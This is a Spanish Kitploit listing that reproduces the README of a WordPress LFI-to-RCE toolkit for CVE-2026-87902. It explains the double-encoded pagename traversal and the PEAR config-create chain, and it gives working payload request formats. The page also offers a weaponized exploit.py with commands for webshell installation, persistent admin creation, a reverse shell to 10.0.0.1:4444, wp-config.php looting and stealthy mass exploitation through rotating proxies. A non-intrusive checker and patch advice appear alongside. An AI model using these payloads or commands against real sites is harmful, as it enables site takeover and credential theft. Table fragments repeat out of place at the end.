Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-87902-Toolkit — Kit de herramientas LFI-to-RCE para WordPress CVE-2026-87902 con una cadena de explotación weaponizada (PEAR RCE, webshell, creación de admin, loot) y una versión SafeChecker no intrusiva y auditor de riesgos. | Kitploit
Herramientas/GitHubGitHub/tc4dy/cve-2026-87902-toolkit
Herramientas DefensivasEscáneres de VulnerabilidadesGeneración de PayloadsExplotaciónIngeniería InversaExplotación de Aplicaciones WebPost-ExplotaciónSeguridad Web
Pruebas de Penetración
Aprendizaje y Educación
Red Teaming
GitHubtc4dy/cve-2026-87902-toolkit

CVE-2026-87902-Toolkit

Kit de herramientas LFI-to-RCE para WordPress CVE-2026-87902 con una cadena de explotación weaponizada (PEAR RCE, webshell, creación de admin, loot) y una versión SafeChecker no intrusiva y auditor de riesgos.

Ver Repositorio
12hace 0 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVEPoC

CVE‑2026‑87902 – Kit de herramientas LFI→RCE no autenticado de WordPress

Python 3.8+ CVSS Author WordPress

SOLO USO ÉTICO – PRUEBAS DE SEGURIDAD AUTORIZADAS
Este repositorio proporciona herramientas únicamente para profesionales de seguridad autorizados, equipos azules y testers de penetración.
El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), el TCK 243/244 (Turquía) y leyes similares en todo el mundo.


📖 Descripción general de la vulnerabilidad

CVE‑2026‑87902 es una vulnerabilidad crítica de path traversal y local file inclusion (LFI) no autenticada en WordPress Core (versiones 4.7.0 a 7.1.1) que permite a un atacante no autenticado incluir archivos .php locales arbitrarios a través del parámetro de consulta pagename, y bajo condiciones específicas del servidor escalar a remote code execution (RCE) encadenando el archivo PEAR pearcmd.php. Puntuación CVSS: 9.2 (Crítica). Divulgada por Robert Ressl a través del programa HackerOne de WordPress en julio de 2026. Parcheada en 7.1.2 el 22 de septiembre de 2026, con backports hasta 4.7 .

El fallo afecta a todas las versiones de WordPress desde 2016 — una década de versiones que pasaron la revisión de código sin ser detectadas. La causa raíz es una única llamada de validación faltante en una de las rutas de código más transitadas del CMS .

Cómo funciona

  1. Resolución de plantilla sin sanitizar – get_page_template() en wp-includes/template.php construye candidatos de plantilla a partir de la variable de consulta pagename. Una ruta de código vecina en la misma función aplica validate_file() para bloquear secuencias ../, pero la rama $pagename no la llama. Cualquier traversal en pagename pasa sin ser verificado .

  2. Bypass de traversal con doble codificación – WordPress aplica sanitize_title_for_query() a pagename, que reemplaza los puntos literales (.) con guiones para prevenir traversal. Pero la función opera sobre entrada ya decodificada y no decodifica recursivamente. Un atacante envía %252e%252e%252f; el servidor web lo decodifica una vez a %2e%2e%2f; el sanitizador no ve puntos literales y lo deja pasar; luego get_page_template() llama a urldecode() de nuevo dentro de la función, produciendo ../ .

  3. Precondición del directorio del tema – El tema activo debe contener un directorio de nivel superior cuyo nombre comience con page- (p. ej. page-templates/). El nombre de archivo construido page-{pagename}.php entonces escapa la raíz del tema mediante el traversal. Los temas predeterminados más antiguos (Twenty Twelve, Twenty Fourteen) y temas populares de terceros (Neve, Hestia, Sydney) incluyen este directorio. Los temas hijos que heredan de dichos padres también cumplen la precondición .

  4. Sumidero LFI en locate_template() – La ruta candidata se pasa a locate_template(), que busca en los directorios del tema. Debido a que el traversal resuelve a un archivo fuera de esos directorios, y la función solo verifica file_exists(), cualquier archivo .php legible se incluye con privilegios completos del servidor web. Esto hace que el LFI sea incondicional en cualquier sitio sin parchear que cumpla la precondición del tema — incluyendo wp-config.php con sus credenciales de base de datos y sales de autenticación .

  5. Escalada RCE mediante PEAR pearcmd.php – PEAR se distribuye con muchas instalaciones de PHP. Su pearcmd.php normalmente es solo CLI, pero cuando register_argc_argv=On, PHP rellena $_SERVER['argv'] desde la cadena de consulta de la URL. El atacante incluye pearcmd.php mediante el LFI, pasa config-create como argumento y proporciona código PHP más una ruta de salida (/tmp/shell.php). PEAR escribe el código del atacante en disco; una segunda inclusión lo ejecuta .

  6. Segunda ruta de explotación – Una petición que combina name (slug de la página de inicio), page_id (ID de la página de entradas), preview=true y un payload pagename desvía WP_Query hacia su rama post_name, que nunca reescribe pagename a través de sanitize_title_for_query(). Esto permite puntos literales en el traversal. Requiere un tema sin single.php .

  7. Requisitos de configuración del servidor – El RCE depende de dos condiciones comunes en despliegues reales: pearcmd.php presente/legible (frecuente en hosting compartido, cPanel, imágenes oficiales de PHP Docker), y register_argc_argv=On (predeterminado en PHP inferior a 8.5). PHP 8.5 cambió el valor predeterminado a Off. En un servidor moderno PHP 8.5+ sin PEAR, la explotación se detiene en el LFI .

  8. El parche – WordPress 7.1.2 añade dos capas de defensa: (a) la llamada faltante a validate_file() en la rama pagename, y (b) una nueva función _wp_is_template_path_allowed() llamada por locate_template() para cada plantilla resuelta. La función rechaza rutas que contienen .., luego resuelve la ruta real mediante realpath() y verifica que se encuentre dentro de uno de los directorios de temas permitidos. Esta defensa en profundidad cierra el sumidero, no solo una ruta hacia él .

  9. Explotación activa en el mundo real – Primeras peticiones maliciosas observadas 5 horas después de la publicación del parche (17:44 UTC, 22 de septiembre de 2026). El tráfico se multiplicó por diez durante el día siguiente. Se observaron tres etapas: reconocimiento con config-show → detección de archivos del núcleo → armamentización con config-create. Los nombres de archivo de los payloads incluían wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, escritos en /tmp y /var/tmp. IPs atacantes: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b .

  10. Impacto – Ejecución de código con privilegios del servidor web. Toma de control total del sitio, robo de credenciales de wp-config.php, exfiltración de datos, instalación de webshell, creación de usuarios administradores, reverse shell, ataques a la cadena de suministro mediante plugins/temas modificados y movimiento lateral hacia servicios conectados. La puntuación CVSS 9.2 refleja impacto explotable por red, sin autenticación, alto en confidencialidad/integridad/disponibilidad. La alta complejidad del ataque refleja las precondiciones del tema y del servidor, pero en hosting compartido típico esas condiciones se cumplen con frecuencia.

Versiones afectadas

  • 4.7.0 – 4.7.37 – vulnerable
  • 4.8.0 – 4.8.32 – vulnerable
  • 4.9.0 – 4.9.33 – vulnerable
  • 5.0.0 – 5.0.29 – vulnerable
  • 5.1.0 – 5.1.26 – vulnerable
  • 5.2.0 – 5.2.28 – vulnerable
  • 5.3.0 – 5.3.25 – vulnerable
  • 5.4.0 – 5.4.23 – vulnerable
  • 5.5.0 – 5.5.22 – vulnerable
  • 5.6.0 – 5.6.21 – vulnerable
  • 5.7.0 – 5.7.19 – vulnerable
  • 5.8.0 – 5.8.17 – vulnerable
  • 5.9.0 – 5.9.18 – vulnerable
  • 6.0.0 – 6.0.16 – vulnerable
  • 6.1.0 – 6.1.14 – vulnerable
  • 6.2.0 – 6.2.13 – vulnerable
  • 6.3.0 – 6.3.12 – vulnerable
  • 6.4.0 – 6.4.12 – vulnerable
  • 6.5.0 – 6.5.12 – vulnerable
  • 6.6.0 – 6.6.9 – vulnerable
  • 6.7.0 – 6.7.9 – vulnerable
  • 6.8.0 – 6.8.10 – vulnerable
  • 6.9.0 – 6.9.9 – vulnerable
  • 7.0.0 – 7.0.6 – vulnerable
  • 7.1.0 – 7.1.1 – vulnerable

Parche

  • Actualice a 4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6 o 7.1.2 o posterior.
  • Si la actualización no es posible, renombre o elimine el directorio page-* en el tema activo, establezca register_argc_argv=Off en php.ini, y bloquee el traversal con doble codificación en el parámetro pagename a nivel de WAF.

[<->] Herramientas

HerramientaPropósitoUsuario previsto
exploit.pyKit de herramientas completo armamentizado con detección de LFI, cadena RCE de PEAR, creación de usuario administrador, instalación de webshell, reverse shell, escaneo masivo, modo sigiloso, rotación de proxies y cadena de ataque completa.Equipos rojos / pentesters autorizados
safecheck.pyComprobador de vulnerabilidad no intrusivo que detecta la versión de WordPress, valida la exposición y evalúa el riesgo sin incluir ningún archivo ni ejecutar ningún payload. Genera informes JSON.Equipos azules / auditores de seguridad

[</>] Comparación de características

Característicaexploit.pysafecheck.py
Detección de vulnerabilidad✅✅
Detección de versión✅✅
Comprobación del directorio page-* del tema✅✅
Alcanzabilidad de PEAR pearcmd.php✅✅
Comprobación de register_argc_argv✅✅
Sonda de comportamiento del WAF❌✅
Sonda LFI con doble codificación✅❌
RCE con PEAR config-create✅❌
Creación de usuario administrador✅❌
Instalación de webshell✅❌
Reverse shell✅❌
Extracción de wp-config.php✅❌
Cadena de ataque completa✅❌
Escaneo masivo (multihilo)✅✅
Soporte de proxy✅✅
Rotación de proxies✅❌
Rotación de User‑Agent (OPSEC)✅❌
Jitter (OPSEC)✅❌
Limitador de tasa✅❌
Modo no intrusivo (seguro)❌✅
Informe de evaluación de riesgo✅

[+] Resumen de casos de uso

EscenarioHerramienta recomendada
Equipo Azul – verificar si su WordPress es vulnerablesafecheck.py
Auditoría de seguridad – evaluación de vulnerabilidad no intrusivasafecheck.py
Equipo Rojo – pruebas de penetración autorizadas con explotación completaexploit.py
Bug Bounty – pruebas de divulgación responsablesafecheck.py
Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidadexploit.py (solo detección)
Respuesta a incidentes – comprobar si los sistemas están comprometidossafecheck.py

[+] Instalación

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3

[/] Parámetros

Parámetros de exploit.py

ParámetroDescripción
-u, --urlURL de un único objetivo WordPress (p. ej. http://wordpress.example.com)
-f, --fileArchivo que contiene la lista de objetivos (uno por línea) para escaneo masivo
--pipeLeer objetivos desde stdin
--exploitRealizar explotación después de la detección
--create-adminCrear usuario administrador persistente (formato: USER:PASS)
--webshellInstalar webshell mediante RCE
--reverse-shellActivar reverse shell (formato: LHOST:LPORT)
--lootExtraer wp-config.php y otros archivos
--threadsNúmero de hilos para múltiples objetivos (predeterminado: 8)
--timeoutTiempo de espera de la petición (predeterminado: 15s)
--retryReintentos máximos (predeterminado: 3)
--proxyProxy HTTP/HTTPS (p. ej. http://127.0.0.1:8080)
--proxy-listArchivo con proxies para rotación (uno por línea)
--proxy-rotateEstrategia de rotación de proxies (round-robin, random, sticky)
--jitterJitter aleatorio entre peticiones
--jitter-rangeJitter mín,máx segundos (predeterminado: 0.1,2.0)
--delayRetardo fijo entre peticiones
--stealthActivar modo sigiloso (rotación de UA + jitter)
--insecureDeshabilitar la verificación TLS

Parámetros de safecheck.py

ParámetroDescripción
-u, --urlURL de un único objetivo WordPress (p. ej. http://wordpress.example.com)
-f, --fileArchivo que contiene la lista de objetivos (uno por línea)
--pipeLeer objetivos desde stdin
-t, --threadsNúmero de hilos para múltiples objetivos (predeterminado: 8)
--timeoutTiempo de espera de la petición (predeterminado: 15s)
--retryReintentos máximos (predeterminado: 3)
--proxyProxy HTTP/HTTPS
--jitterJitter aleatorio entre peticiones
--jitter-rangeJitter mín,máx segundos (predeterminado: 0.1,2.0)
--delayRetardo fijo entre peticiones
--insecureDeshabilitar la verificación TLS
--user-agentUser-Agent personalizado
--max-bodyTamaño máximo del cuerpo de respuesta
--concurrent-per-hostMáximo de peticiones concurrentes por host
--excludeHosts a excluir separados por comas
-o, --outputGuardar informe JSON en archivo (.json, .csv, .html, .jsonl)
--dbArchivo de base de datos SQLite
-v, --verboseSalida detallada
-q, --quietModo silencioso
--no-bannerSuprimir el banner

[>] Escenarios

#EscenarioComando
1Comprobación rápida de vulnerabilidadpython safecheck.py -u http://wordpress.example.com
2Escaneo detallado con informepython safecheck.py -u http://wordpress.example.com -o report.json -v
3Auditoría masiva desde archivopython safecheck.py -f targets.txt -t 10 -o audit.json
4Exploit solo detecciónpython exploit.py -u http://wordpress.example.com
5Extraer wp-config.phppython exploit.py -u http://wordpress.example.com --exploit --loot
6Ataque completo con webshellpython exploit.py -u http://wordpress.example.com --exploit --webshell
7Crear usuario administrador persistentepython exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1
8Reverse shellpython exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444
9Cadena de ataque completapython exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1
10Explotación masiva con sigilopython exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json
11Rotación de proxiespython exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit

🧪 Endpoint y cadena de explotación

El exploit utiliza los siguientes endpoints de WordPress y pasos de explotación:

PasoMétodoEndpointDescripción
1. FingerprintGET/Detectar WordPress mediante wp-content, wp-includes, wp-json
2. VersiónGET/feed/Extraer la versión mediante el meta <generator>
3. Page IDGET/wp-json/wp/v2/pagesDescubrir un page_id válido
4. Directorio del temaGET/wp-content/themes/{theme}/page-templates/Confirmar la precondición page-*
5. Sonda LFIGET/?page_id={id}&pagename={payload}Traversal con doble codificación para incluir archivo local
6. Inclusión PEARGET/?page_id={id}&pagename={pearcmd}Incluir pearcmd.php
7. RCE PEARGET/?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile}Escribir archivo PHP mediante PEAR
8. EjecutarGET/?page_id={id}&pagename={outfile}Incluir el archivo escrito → RCE
9. PersistirGET(mediante RCE)Crear usuario administrador / webshell
10. ExtraerGET/?page_id={id}&pagename={wp-config}Leer wp-config.php mediante LFI

Formato del payload

root@kitploit:~
# Ejemplo de traversal con doble codificación
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# Cadena RCE config-create de PEAR
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# Disparador de inclusión PEAR
GET /?page_id=2&pagename={encoded_output_path}

🛡️ Uso responsable

  • Utilice estas herramientas únicamente en sistemas que posea o para los que tenga permiso escrito explícito de probar.
  • El acceso no autorizado es ilegal y poco ético.
  • Los autores no son responsables de ningún uso indebido.
  • Cumpla siempre con las leyes y regulaciones de su país.

Este software se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.

Descargar herramienta
✅
Recomendaciones de mitigación❌✅
Informe JSON✅✅
Informe CSV✅✅
Informe HTML✅✅
Salida SQLite✅✅
User‑Agent personalizado✅✅
Control de verificación SSL✅✅
--user-agentUser-Agent personalizado
--max-bodyTamaño máximo del cuerpo de respuesta
--concurrent-per-hostMáximo de peticiones concurrentes por host
--rate-limitMáximo de peticiones por segundo
--excludeHosts a excluir separados por comas
-o, --outputGuardar informe en archivo (.json, .csv, .html, .jsonl)
--dbArchivo de base de datos SQLite
-v, --verboseSalida detallada
-q, --quietModo silencioso
--no-bannerSuprimir el banner